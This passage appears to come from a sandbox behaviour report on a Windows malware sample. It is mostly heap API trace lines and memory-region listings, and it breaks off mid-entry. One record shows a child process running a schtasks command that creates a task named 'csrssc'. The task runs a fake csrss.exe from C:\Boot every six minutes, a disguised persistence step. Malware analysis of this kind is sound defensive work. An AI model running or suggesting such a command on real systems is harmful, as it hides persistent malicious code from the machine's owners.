Flags=0x0, MemoryPointer=0x18bc90) returned 0x18 [0067.548] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc90 | out: hHeap=0x170000) returned 1 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185d80) returned 1 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185d80) returned 0x20 [0067.548] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185d80 | out: hHeap=0x170000) returned 1 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c400) returned 1 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c400) returned 0x14 [0067.548] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c400 | out: hHeap=0x170000) returned 1 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3e0) returned 1 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c3e0) returned 0x18 [0067.548] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3e0 | out: hHeap=0x170000) returned 1 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185cc0) returned 1 [0067.548] GetProcessHeap () returned 0x170000 [0067.548] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185cc0) returned 0x20 [0067.549] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185cc0 | out: hHeap=0x170000) returned 1 [0067.549] GetProcessHeap () returned 0x170000 [0067.549] GetProcessHeap () returned 0x170000 [0067.549] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c420) returned 1 [0067.549] GetProcessHeap () returned 0x170000 [0067.549] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c420) returned 0x16 [0067.549] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c420 | out: hHeap=0x170000) returned 1 [0067.549] GetProcessHeap () returned 0x170000 [0067.549] GetProcessHeap () returned 0x170000 [0067.549] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2a0) returned 1 [0067.549] GetProcessHeap () returned 0x170000 [0067.549] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c2a0) returned 0x18 [0067.549] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2a0 | out: hHeap=0x170000) returned 1 [0067.549] GetProcessHeap () returned 0x170000 [0067.549] GetProcessHeap () returned 0x170000 [0067.549] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185c90) returned 1 [0067.549] GetProcessHeap () returned 0x170000 [0067.549] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185c90) returned 0x20 [0067.550] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185c90 | out: hHeap=0x170000) returned 1 [0067.550] GetProcessHeap () returned 0x170000 [0067.550] GetProcessHeap () returned 0x170000 [0067.550] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bbd0) returned 1 [0067.550] GetProcessHeap () returned 0x170000 [0067.550] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bbd0) returned 0x2 [0067.550] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bbd0 | out: hHeap=0x170000) returned 1 [0067.550] GetProcessHeap () returned 0x170000 [0067.550] GetProcessHeap () returned 0x170000 [0067.550] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185ae0) returned 1 [0067.550] GetProcessHeap () returned 0x170000 [0067.550] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185ae0) returned 0x20 [0067.551] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185ae0 | out: hHeap=0x170000) returned 1 [0067.551] GetProcessHeap () returned 0x170000 [0067.551] GetProcessHeap () returned 0x170000 [0067.551] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185b10) returned 1 [0067.551] GetProcessHeap () returned 0x170000 [0067.551] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185b10) returned 0x20 [0067.551] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185b10 | out: hHeap=0x170000) returned 1 [0067.551] GetProcessHeap () returned 0x170000 [0067.551] GetProcessHeap () returned 0x170000 [0067.551] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185b40) returned 1 [0067.551] GetProcessHeap () returned 0x170000 [0067.551] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185b40) returned 0x20 [0067.552] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185b40 | out: hHeap=0x170000) returned 1 [0067.552] GetProcessHeap () returned 0x170000 [0067.552] GetProcessHeap () returned 0x170000 [0067.552] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185b70) returned 1 [0067.552] GetProcessHeap () returned 0x170000 [0067.552] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185b70) returned 0x20 [0067.552] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185b70 | out: hHeap=0x170000) returned 1 [0067.552] GetProcessHeap () returned 0x170000 [0067.552] GetProcessHeap () returned 0x170000 [0067.552] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd60) returned 1 [0067.552] GetProcessHeap () returned 0x170000 [0067.552] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd60) returned 0x20 [0067.552] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd60 | out: hHeap=0x170000) returned 1 [0067.552] GetProcessHeap () returned 0x170000 [0067.552] GetProcessHeap () returned 0x170000 [0067.552] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d820) returned 1 [0067.553] GetProcessHeap () returned 0x170000 [0067.553] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d820) returned 0xa [0067.553] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d820 | out: hHeap=0x170000) returned 1 [0067.553] GetProcessHeap () returned 0x170000 [0067.553] GetProcessHeap () returned 0x170000 [0067.553] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd90) returned 1 [0067.553] GetProcessHeap () returned 0x170000 [0067.553] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd90) returned 0x20 [0067.553] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd90 | out: hHeap=0x170000) returned 1 [0067.553] GetProcessHeap () returned 0x170000 [0067.553] GetProcessHeap () returned 0x170000 [0067.553] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x187c70) returned 1 [0067.553] GetProcessHeap () returned 0x170000 [0067.553] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x187c70) returned 0x30 [0067.553] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x187c70 | out: hHeap=0x170000) returned 1 [0067.553] GetProcessHeap () returned 0x170000 [0067.553] GetProcessHeap () returned 0x170000 [0067.553] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdc0) returned 1 [0067.553] GetProcessHeap () returned 0x170000 [0067.554] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cdc0) returned 0x20 [0067.554] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdc0 | out: hHeap=0x170000) returned 1 [0067.554] GetProcessHeap () returned 0x170000 [0067.554] GetProcessHeap () returned 0x170000 [0067.554] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x187cb0) returned 1 [0067.554] GetProcessHeap () returned 0x170000 [0067.554] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x187cb0) returned 0x30 [0067.554] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x187cb0 | out: hHeap=0x170000) returned 1 [0067.554] GetProcessHeap () returned 0x170000 [0067.554] GetProcessHeap () returned 0x170000 [0067.554] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cfd0) returned 1 [0067.554] GetProcessHeap () returned 0x170000 [0067.554] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cfd0) returned 0x20 [0067.555] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cfd0 | out: hHeap=0x170000) returned 1 [0067.555] GetProcessHeap () returned 0x170000 [0067.555] GetProcessHeap () returned 0x170000 [0067.555] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d740) returned 1 [0067.555] GetProcessHeap () returned 0x170000 [0067.555] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d740) returned 0x10 [0067.555] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d740 | out: hHeap=0x170000) returned 1 [0067.555] GetProcessHeap () returned 0x170000 [0067.555] GetProcessHeap () returned 0x170000 [0067.555] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cfa0) returned 1 [0067.555] GetProcessHeap () returned 0x170000 [0067.555] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cfa0) returned 0x20 [0067.556] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cfa0 | out: hHeap=0x170000) returned 1 [0067.556] GetProcessHeap () returned 0x170000 [0067.556] GetProcessHeap () returned 0x170000 [0067.556] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d760) returned 1 [0067.556] GetProcessHeap () returned 0x170000 [0067.557] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d760) returned 0x10 [0067.557] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d760 | out: hHeap=0x170000) returned 1 [0067.557] GetProcessHeap () returned 0x170000 [0067.557] GetProcessHeap () returned 0x170000 [0067.557] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf70) returned 1 [0067.557] GetProcessHeap () returned 0x170000 [0067.557] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cf70) returned 0x20 [0067.558] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf70 | out: hHeap=0x170000) returned 1 [0067.558] GetProcessHeap () returned 0x170000 [0067.558] GetProcessHeap () returned 0x170000 [0067.558] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d780) returned 1 [0067.558] GetProcessHeap () returned 0x170000 [0067.558] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d780) returned 0xe [0067.558] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d780 | out: hHeap=0x170000) returned 1 [0067.558] GetProcessHeap () returned 0x170000 [0067.558] GetProcessHeap () returned 0x170000 [0067.558] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf40) returned 1 [0067.558] GetProcessHeap () returned 0x170000 [0067.558] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cf40) returned 0x20 [0067.559] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf40 | out: hHeap=0x170000) returned 1 [0067.559] GetProcessHeap () returned 0x170000 [0067.559] GetProcessHeap () returned 0x170000 [0067.559] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d7a0) returned 1 [0067.559] GetProcessHeap () returned 0x170000 [0067.559] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d7a0) returned 0x16 [0067.559] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d7a0 | out: hHeap=0x170000) returned 1 [0067.560] GetProcessHeap () returned 0x170000 [0067.560] GetProcessHeap () returned 0x170000 [0067.560] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf10) returned 1 [0067.560] GetProcessHeap () returned 0x170000 [0067.560] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cf10) returned 0x20 [0067.560] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cf10 | out: hHeap=0x170000) returned 1 [0067.560] GetProcessHeap () returned 0x170000 [0067.560] GetProcessHeap () returned 0x170000 [0067.560] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d7c0) returned 1 [0067.560] GetProcessHeap () returned 0x170000 [0067.560] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d7c0) returned 0x16 [0067.560] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d7c0 | out: hHeap=0x170000) returned 1 [0067.561] GetProcessHeap () returned 0x170000 [0067.561] GetProcessHeap () returned 0x170000 [0067.561] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cee0) returned 1 [0067.561] GetProcessHeap () returned 0x170000 [0067.561] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cee0) returned 0x20 [0067.561] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cee0 | out: hHeap=0x170000) returned 1 [0067.561] GetProcessHeap () returned 0x170000 [0067.561] GetProcessHeap () returned 0x170000 [0067.561] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x1aadf0) returned 1 [0067.561] GetProcessHeap () returned 0x170000 [0067.561] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1aadf0) returned 0x82 [0067.562] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1aadf0 | out: hHeap=0x170000) returned 1 [0067.562] GetProcessHeap () returned 0x170000 [0067.562] GetProcessHeap () returned 0x170000 [0067.562] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ceb0) returned 1 [0067.562] GetProcessHeap () returned 0x170000 [0067.562] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ceb0) returned 0x20 [0067.563] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ceb0 | out: hHeap=0x170000) returned 1 [0067.563] GetProcessHeap () returned 0x170000 [0067.563] GetProcessHeap () returned 0x170000 [0067.563] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d800) returned 1 [0067.563] GetProcessHeap () returned 0x170000 [0067.563] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d800) returned 0xe [0067.563] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d800 | out: hHeap=0x170000) returned 1 [0067.563] GetProcessHeap () returned 0x170000 [0067.563] GetProcessHeap () returned 0x170000 [0067.563] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce80) returned 1 [0067.563] GetProcessHeap () returned 0x170000 [0067.563] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce80) returned 0x20 [0067.564] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce80 | out: hHeap=0x170000) returned 1 [0067.564] GetProcessHeap () returned 0x170000 [0067.564] GetProcessHeap () returned 0x170000 [0067.564] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bbf0) returned 1 [0067.564] GetProcessHeap () returned 0x170000 [0067.564] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bbf0) returned 0x18 [0067.564] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bbf0 | out: hHeap=0x170000) returned 1 [0067.564] GetProcessHeap () returned 0x170000 [0067.564] GetProcessHeap () returned 0x170000 [0067.564] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185ba0) returned 1 [0067.564] GetProcessHeap () returned 0x170000 [0067.564] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185ba0) returned 0x20 [0067.564] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185ba0 | out: hHeap=0x170000) returned 1 [0067.565] GetProcessHeap () returned 0x170000 [0067.565] GetProcessHeap () returned 0x170000 [0067.565] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185bd0) returned 1 [0067.565] GetProcessHeap () returned 0x170000 [0067.565] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185bd0) returned 0x20 [0067.565] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185bd0 | out: hHeap=0x170000) returned 1 [0067.565] GetProcessHeap () returned 0x170000 [0067.565] GetProcessHeap () returned 0x170000 [0067.565] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185c00) returned 1 [0067.565] GetProcessHeap () returned 0x170000 [0067.565] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185c00) returned 0x20 [0067.566] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185c00 | out: hHeap=0x170000) returned 1 [0067.566] GetProcessHeap () returned 0x170000 [0067.566] GetProcessHeap () returned 0x170000 [0067.566] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185c30) returned 1 [0067.566] GetProcessHeap () returned 0x170000 [0067.566] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185c30) returned 0x20 [0067.567] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185c30 | out: hHeap=0x170000) returned 1 [0067.567] GetProcessHeap () returned 0x170000 [0067.567] GetProcessHeap () returned 0x170000 [0067.567] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc10) returned 1 [0067.567] GetProcessHeap () returned 0x170000 [0067.567] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bc10) returned 0x18 [0067.567] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc10 | out: hHeap=0x170000) returned 1 [0067.567] GetProcessHeap () returned 0x170000 [0067.567] GetProcessHeap () returned 0x170000 [0067.567] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185c60) returned 1 [0067.567] GetProcessHeap () returned 0x170000 [0067.567] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185c60) returned 0x20 [0067.568] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185c60 | out: hHeap=0x170000) returned 1 [0067.568] GetProcessHeap () returned 0x170000 [0067.568] GetProcessHeap () returned 0x170000 [0067.568] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185cf0) returned 1 [0067.568] GetProcessHeap () returned 0x170000 [0067.568] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185cf0) returned 0x20 [0067.568] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185cf0 | out: hHeap=0x170000) returned 1 [0067.568] GetProcessHeap () returned 0x170000 [0067.568] GetProcessHeap () returned 0x170000 [0067.568] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185d50) returned 1 [0067.568] GetProcessHeap () returned 0x170000 [0067.568] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185d50) returned 0x20 [0067.569] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185d50 | out: hHeap=0x170000) returned 1 [0067.569] GetProcessHeap () returned 0x170000 [0067.569] GetProcessHeap () returned 0x170000 [0067.569] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185db0) returned 1 [0067.569] GetProcessHeap () returned 0x170000 [0067.569] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185db0) returned 0x20 [0067.569] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185db0 | out: hHeap=0x170000) returned 1 [0067.569] GetProcessHeap () returned 0x170000 [0067.569] GetProcessHeap () returned 0x170000 [0067.569] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185de0) returned 1 [0067.569] GetProcessHeap () returned 0x170000 [0067.569] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185de0) returned 0x20 [0067.570] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185de0 | out: hHeap=0x170000) returned 1 [0067.570] GetProcessHeap () returned 0x170000 [0067.570] GetProcessHeap () returned 0x170000 [0067.570] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc30) returned 1 [0067.570] GetProcessHeap () returned 0x170000 [0067.570] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bc30) returned 0x18 [0067.570] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc30 | out: hHeap=0x170000) returned 1 [0067.570] GetProcessHeap () returned 0x170000 [0067.570] GetProcessHeap () returned 0x170000 [0067.570] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185d20) returned 1 [0067.570] GetProcessHeap () returned 0x170000 [0067.570] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185d20) returned 0x20 [0067.571] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185d20 | out: hHeap=0x170000) returned 1 [0067.571] GetProcessHeap () returned 0x170000 [0067.571] GetProcessHeap () returned 0x170000 [0067.571] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bbb0) returned 1 [0067.571] GetProcessHeap () returned 0x170000 [0067.571] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bbb0) returned 0x18 [0067.571] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bbb0 | out: hHeap=0x170000) returned 1 [0067.571] exit (_Code=0) Thread: id = 125 os_tid = 0xf74 Process: id = "23" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3db38000" os_pid = "0xf78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2552 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2553 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2554 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2555 start_va = 0xa0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2556 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2557 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2558 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2559 start_va = 0xff3d0000 end_va = 0xff417fff monitored = 1 entry_point = 0xff3f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2560 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2561 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2562 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2563 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2564 start_va = 0x120000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2565 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2566 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2567 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2568 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2569 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2570 start_va = 0x120000 end_va = 0x186fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2571 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2572 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2573 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2574 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2575 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2576 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2577 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2578 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2579 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2580 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2581 start_va = 0x7fefb0b0000 end_va = 